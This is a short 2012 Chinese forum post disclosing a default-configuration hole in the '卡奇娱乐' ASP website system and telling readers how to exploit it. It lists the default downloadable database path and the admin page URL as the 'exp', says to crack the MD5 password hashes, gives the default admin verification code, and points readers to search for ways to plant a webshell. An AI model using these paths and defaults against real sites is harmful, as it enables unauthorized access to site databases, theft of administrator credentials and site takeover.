卡奇娱乐数据库下载漏洞

Free_小东 · 发表于 2012-6-3 16:35:50

下载地址：http://down.admin5.com/asp/24277.html

由于数据库没做防下载所以导致xx。管理员可以改–~话说改自动易6.6的。貌似有exp可以注入。。没测试成功呃~
就这套系统- -~默认数据库下载，md5解密。

exp:

1
http://www.xxx.com/database/Karqi_Com.mdb
http://www.xxx.com/admin/admin_index.asp

动易拿webshell呢，大家就baidu一下吧。。

后台管理认证码默认：karqi.com